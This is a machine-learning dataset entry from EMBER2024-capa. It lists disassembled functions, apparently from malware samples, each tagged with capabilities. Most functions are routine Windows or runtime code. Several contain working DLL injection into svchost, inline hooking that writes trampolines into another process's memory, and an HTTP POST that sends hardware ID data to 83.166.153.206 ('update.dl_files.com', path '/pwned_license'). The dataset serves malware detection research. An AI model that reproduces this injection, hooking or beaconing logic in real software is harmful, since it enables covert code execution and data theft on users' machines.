joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1010ff7
Capabilities:
List domain servers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
push ebx
push dword [ebp + 0x1c]
lea eax, [ebp + 0x18]
push dword [ebp + 0x18]
push eax
push esi
push 0xffffffffffffffff
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.NETAPI32.dll_NetServerEnum
cmp eax, ebx
mov dword [ebp + 0x1c], eax
je 0x101102f
cmp eax, 0xea
jne 0x1011083
cmp dword [ebp + 0xc], 0x64
mov edi, dword [edi]
jne 0x101105e
cmp dword [esi], ebx
jbe 0x1011083
lea eax, [edi + 4]
mov dword [ebp + 0xc], eax
push 4
push dword [ebp + 0xc]
push edi
call dword [sym.imp.msvcrt.dll_memmove]
add dword [ebp + 0xc], 8
add esp, 0xc
inc ebx
add edi, 4
cmp ebx, dword [esi]
jb 0x1011041
jmp 0x1011083
cmp dword [esi], ebx
jbe 0x1011083
lea eax, [edi + 4]
mov dword [ebp + 0xc], eax
push 0x14
push dword [ebp + 0xc]
push edi
call dword [sym.imp.msvcrt.dll_memmove]
add dword [ebp + 0xc], 0x18
add esp, 0xc
inc ebx
add edi, 0x14
cmp ebx, dword [esi]
jb 0x1011068
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
pop ebp
ret 0x18
Function at 0x101155f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
cmp dword [0x101fbc4], 0xffffffff
push edi
je 0x10115b0
mov eax, 0x101fbc4
mov dword [ebp + 0x10], eax
lea edi, [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [esi + eax]
test eax, eax
je 0x101159c
push eax
call dword [sym.imp.msvcrt.dll_wcslen]
inc eax
pop ecx
mov dword [edi], eax
lea ebx, [ebx + eax*2]
jmp 0x101159f
and dword [edi], 0
mov eax, dword [ebp + 0x10]
add eax, 8
add edi, 4
cmp dword [eax], 0xffffffff
mov dword [ebp + 0x10], eax
jne 0x1011583
mov edi, dword [ebp + 0x14]
push edi
lea eax, [ebx + 0x34]
push eax
call sub.NETAPI32.dll_NetapipBufferAllocate
test eax, eax
jne 0x1011663
mov eax, dword [edi]
lea ecx, [eax + ebx + 0x34]
mov dword [ebp - 4], ecx
lea ecx, [ebp - 0x10]
push ecx
push 0x101fbc4
push eax
push esi
lea eax, [ebp - 4]
push eax
call fcn.01015c90
mov ebx, dword [ebp + 0x18]
push ebx
push 0x1f6
push dword [ebp + 8]
call sub.NETAPI32.dll_NetServerGetInfo
test eax, eax
jne 0x1011663
mov eax, dword [edi]
mov ecx, dword [esi + 4]
mov dword [eax + 8], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 8]
mov dword [eax + 0xc], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0xc]
mov dword [eax + 0x10], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x20]
mov dword [eax + 0x18], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x24]
mov dword [eax + 0x1c], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x3c]
mov dword [eax + 0x20], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x40]
mov dword [eax + 0x24], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x44]
mov dword [eax + 0x28], ecx
mov eax, dword [edi]
mov ecx, dword [esi + 0x4c]
mov dword [eax + 0x2c], ecx
mov eax, dword [ebx]
mov ecx, dword [esi + 0x6c]
mov dword [eax], ecx
mov eax, dword [ebx]
mov ecx, dword [esi + 0x70]
mov dword [eax + 4], ecx
mov eax, dword [ebx]
mov ecx, dword [esi + 0x78]
mov dword [eax + 8], ecx
mov eax, dword [ebx]
mov ecx, dword [esi + 0x84]
mov dword [eax + 0xc], ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x10118fd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 8]
call dword [sym.imp.msvcrt.dll_ftell]
test eax, eax
mov esi, dword [sym.imp.msvcrt.dll_fread]
pop ecx
jne 0x101196d
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push 1
push 2
push eax
call esi
add esp, 0x10
cmp dword [ebp - 4], 0xfeff
je 0x101196d
push 0xe80
call fcn.010108fa
jmp 0x101196d
mov eax, dword [ebp - 4]
cmp eax, 0xd
je 0x101196d
cmp eax, 0xa
je 0x1011987
cmp eax, 9
je 0x1011964
mov word [edi], ax
inc edi
inc edi
inc dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
dec ecx
cmp dword [ebp - 8], ecx
jge 0x101198e
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push 1
push 2
push eax
call esi
add esp, 0x10
cmp eax, 1
jae 0x101194a
or eax, 0xffffffff
jmp 0x101198e
mov word [edi], 0xa
inc edi
inc edi
and word [edi], 0
cmp eax, 0xffffffff
jne 0x10119a0
cmp edi, dword [ebp + 8]
jne 0x10119a0
xor eax, eax
jmp 0x10119a3
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret 0xc

Function at 0x1013755
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x101d78c]
push ebx
mov bl, byte [ebp + 0x18]
test bl, 4
push esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x1c]
mov dword [ebp - 0x410], esi
je 0x101378f
test bl, 0xa
je 0x101378f
push 0x57
pop eax
jmp 0x101384f
xor ecx, ecx
mov cl, bl
and ecx, 8
mov dword [ebp - 0x418], ecx
xor ecx, ecx
mov cl, bl
and ecx, 2
mov dword [ebp - 0x414], ecx
lea ecx, [ebp - 0x40c]
push ecx
push dword [ebp + 0x10]
lea ecx, [ebp - 0x404]
push 0x200
push ecx
push dword [ebp + 0xc]
push eax
call fcn.01014a6f
test eax, eax
mov dword [ebp - 0x408], eax
je 0x10137d7
test bl, 4
jne 0x1013811
push dword [ebp - 0x40c]
lea eax, [ebp - 0x404]
push eax
mov esi, 0x1028840
push esi
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov eax, dword [ebp - 0x40c]
and word [eax*2 + 0x1028840], 0
add esp, 0xc
push 0
push esi
push edi
call fcn.01013cf0
mov esi, dword [ebp - 0x410]
xor eax, eax
cmp esi, eax
je 0x101381f
mov ecx, dword [ebp - 0x40c]
mov dword [esi], ecx
cmp word [ebp - 0x418], ax
je 0x1013838
cmp dword [ebp - 0x408], eax
je 0x1013838
push dword [ebp - 0x408]
jmp 0x1013843
cmp word [ebp - 0x414], ax
je 0x1013849
push 0xffffffffffffffff
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0100fd6e
leave
ret 0x18
Function at 0x1013c71
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [ebp + 8]
call fcn.01013c4e
test eax, eax
je 0x1013c99
push 0
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
jmp 0x1013ce7
mov eax, dword [ebp + 0x10]
push esi
push edi
add eax, eax
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, esi
je 0x1013ce5
mov eax, dword [ebp + 0x10]
push esi
push esi
lea ecx, [eax + eax]
push ecx
push edi
push eax
push dword [ebp + 0xc]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, esi
mov dword [ebp + 0x10], eax
je 0x1013cde
push esi
lea ecx, [ebp + 0x10]
push ecx
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x401050
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor esi, esi
mov edx, str.dnsrslvr.dll
call fcn.00418f80
mov dword [0x44ae90], eax
test eax, eax
jne 0x40109a
push eax
push eax
push str._C_NET_START_Dnscache
push str.cmd.exe
push str.open
push eax
call edi
push 0x1f4
call ebx
inc esi
cmp esi, 0xf
jl 0x401061
mov eax, dword [0x44ae90]
pop edi
pop esi
pop ebx
test eax, eax
je 0x4010ed
push 0x104
push 0x44ac88
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push 0x44ac88
call fcn.0042164b
add eax, 2
mov ecx, 0x104
mov edx, eax
sub edx, 0x44ac88
sar edx, 1
push str.svcm.dll
sub ecx, edx
push ecx
push eax
call fcn.0042507c
add esp, 0x14
call fcn.00401100
test eax, eax
setne al
ret
xor al, al
ret

Function at 0x401100
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x447430
push 0x421730
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x449080]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
xor edi, edi
mov dword [ebp - 0x20], edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
push dword [0x44ae90]
push ebx
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x4011ee
push 0x44ac88
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
push 4
push 0x1000
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x4011ee
push edi
push dword [ebp - 0x2c]
push 0x44ac88
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4011ee
push str.LoadLibraryW
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4011ee
push edi
push edi
push ebx
push eax
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x4011ee
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.00401218
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401250
Capabilities:
Create thread
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x447450
push 0x421730
mov eax, dword fs:[0]
push eax
sub esp, 0x44c
mov eax, dword [0x449080]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [0x44ae90]
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x448], 0
xor edi, edi
mov dword [ebp - 0x44c], edi
mov dword [ebp - 0x450], edi
mov dword [ebp - 4], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x448], ebx
cmp ebx, 0xffffffff
je 0x4013cf
mov dword [ebp - 0x444], 0x428
push 0x424
push edi
lea eax, [ebp - 0x440]
push eax
call fcn.004224a0
add esp, 0xc
xor esi, esi
mov dword [ebp - 0x458], esi
lea eax, [ebp - 0x444]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x40135c
push 0x44ac88
lea eax, [ebp - 0x424]
push eax
call fcn.004251de
add esp, 8
test eax, eax
je 0x40133d
push 0x44ac88
lea eax, [ebp - 0x224]
push eax
call fcn.004251de
add esp, 8
test eax, eax
je 0x40133d
xor esi, esi
jmp 0x401342
mov esi, 1
mov dword [ebp - 0x458], esi
test esi, esi
jne 0x401360
lea eax, [ebp - 0x444]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
jmp 0x401305
test esi, esi
je 0x4013cf
push dword [ebp - 0x45c]
push 0
push 0x40a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x44c], edi
test edi, edi
je 0x4013cf
push 0x445b1c
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4013cf
push 0
push 0
push dword [ebp - 0x430]
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
mov dword [ebp - 0x450], esi
test esi, esi
je 0x4013cf
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x454], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.00401409
mov eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004206b9
mov esp, ebp
pop ebp
ret
Function at 0x401430
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov byte [ebp - 0x21], dl
mov esi, ecx
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, edx
or eax, ecx
push edi
mov edi, dword [ebp + 8]
je 0x40154b
mov ebx, edx
mov dword [ebp - 0x1c], edx
mov eax, ecx
mov dword [ebp - 0x20], edx
shrd ebx, eax, 8
mov eax, ecx
shrd dword [ebp - 0x1c], eax, 0x10
mov eax, ecx
shrd dword [ebp - 0x20], eax, 0x18
cmp byte [ebp - 0x21], 0
mov eax, dword [ebp - 0x1c]
jne 0x4014db
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 6
push edi
mov byte [ebp - 0x12], bl
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push esi
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], dl
mov byte [ebp - 0xf], 0xc3
call ebx
test eax, eax
je 0x40154b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
push 6
lea eax, [ebp - 0x14]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push 6
jmp 0x401547
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x13], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x11], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0x10], al
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 0xc
mov byte [ebp - 0x12], cl
push edi
shr ecx, 0x18
mov byte [ebp - 0x15], bl
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push esi
mov word [ebp - 0x18], 0xb848
mov byte [ebp - 0x16], dl
mov byte [ebp - 0xf], cl
mov word [ebp - 0xe], 0xc350
call ebx
test eax, eax
je 0x40154b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
push 0xc
lea eax, [ebp - 0x18]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push 0xc
push edi
push esi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004206b9
mov esp, ebp
pop ebp
ret

Function at 0x418f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
push 0x40
mov esi, edx
mov edi, ecx
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x418f6a
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0
push eax
push esi
push dword [ebp + 0x10]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418f80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, edx
mov dword [ebp - 0x238], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x419035
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [eax + eax]
lea eax, [ebp - 0x214]
mov ecx, str.svchost.exe
nop dword [eax + eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x419006
test dx, dx
je 0x419002
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x419006
add ecx, 4
add eax, 4
test dx, dx
jne 0x418fe0
xor eax, eax
jmp 0x41900b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x419020
mov ecx, dword [ebp - 0x230]
mov edx, ebx
call fcn.00419070
or eax, edx
jne 0x419048
lea eax, [ebp - 0x238]
push eax
push esi
call edi
test eax, eax
jne 0x418fd0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004206b9
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x230]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004206b9
mov esp, ebp
pop ebp
ret

Function at 0x419070
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x43c
mov eax, dword [0x449080]
xor eax, esp
mov dword [esp + 0x438], eax
push ebx
push esi
push edi
push ecx
xorps xmm0, xmm0
mov dword [esp + 0x10], edx
push 8
movlpd qword [esp + 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4190c9
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x428
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0x4190e2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x438]
xor ecx, esp
call fcn.004206b9
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
nop word [eax + eax]
push dword [esp + 0xc]
lea eax, [esp + 0x3c]
push eax
call fcn.004251de
add esp, 8
test eax, eax
jne 0x41910e
mov eax, dword [esp + 0x2c]
cdq
mov edi, eax
mov esi, edx
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
je 0x419124
mov eax, edi
or eax, esi
je 0x4190f0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x444]
mov eax, edi
pop edi
mov edx, esi
pop esi
pop ebx
xor ecx, esp
call fcn.004206b9
mov esp, ebp
pop ebp
ret
Function at 0x41af60
Capabilities:
Connect socket
Initialize winsock library
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7ac
mov eax, dword [0x449080]
xor eax, esp
mov dword [esp + 0x7a8], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push esi
push eax
push ecx
push edx
lea eax, [esp + 0x1b4]
movlpd qword [esp + 0x1c], xmm0
push str.SetupHardwareID_sLicenseHardwareID_sVersion_sErrorCode1407SoftwareRemote
push eax
call fcn.004192c0
lea ecx, [esp + 0x1bc]
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41afb0
lea eax, [esp + 0x1a8]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x3b0]
push str.POST__pwned_license_HTTP_1.1_r_nHost:_update.dl_files.com_r_nUser_Agent:_Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:__d_r_n_r_n_s
push eax
call fcn.004192c0
add esp, 0x10
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41b068
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41b068
mov eax, 2
push str.83.166.153.206
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xa], ax
lea eax, [esp + 8]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x41b068
lea ecx, [esp + 0x3a8]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41b040
push 0
sub ecx, edx
lea eax, [esp + 0x3ac]
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x7ac]
pop esi
xor ecx, esp
call fcn.004206b9
mov esp, ebp
pop ebp
ret
Function at 0x41f760
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
push 0x20019
push 0
push str.SOFTWAREDigital_River
push connect
mov dword [ebp - 0xc], 4
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41f7cf
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x41f7c6
mov dword [ebp - 4], 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x41f7e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43dbc6
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x449080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0
lea eax, [ebp + 0x10]
mov dword [ebp - 4], 1
push eax
call fcn.0041c150
lea eax, [ebp - 0x10]
mov dword [ebp - 0x1c], 1
push eax
push 0x20019
push 0
push esi
push connect
mov dword [ebp - 0x10], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41f8c9
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 1
push eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push ebx
push dword [ebp - 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call ebx
test eax, eax
jne 0x41f8c0
push dword [ebp - 0x18]
call fcn.0042072d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x20]
push dword [ebp - 0x10]
call ebx
test eax, eax
jne 0x41f8b7
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f8a5
sub ecx, edx
push ecx
push esi
mov ecx, edi
call fcn.0041f920
push esi
call fcn.004206c7
add esp, 4
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x24]
cmp ecx, 0xf
jbe 0x41f8f9
mov edx, dword [ebp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f8ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f90d
push ecx
push edx
call fcn.004206fc
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004289d4
int3

Function at 0x4214ae
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4214ed
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4214ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4214ed
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4214ed
cmp dword [ecx + 0x74], 0xe
jbe 0x4214ed
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4305c2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441f10
push 0x441f08
push str.FlsAlloc
push 0x1f
call fcn.0043042d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4305f6
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e1f0]
call esi
jmp 0x4305fc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x430640
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441f20
push 0x441f18
push str.FlsGetValue
push 0x21
call fcn.0043042d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x430677
push dword [ebp + 8]
mov ecx, esi
call dword [0x43e1f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x43067f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x441f28
push 0x441f20
push str.FlsSetValue
push 0x22
call fcn.0043042d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4306b9
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x43e1f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]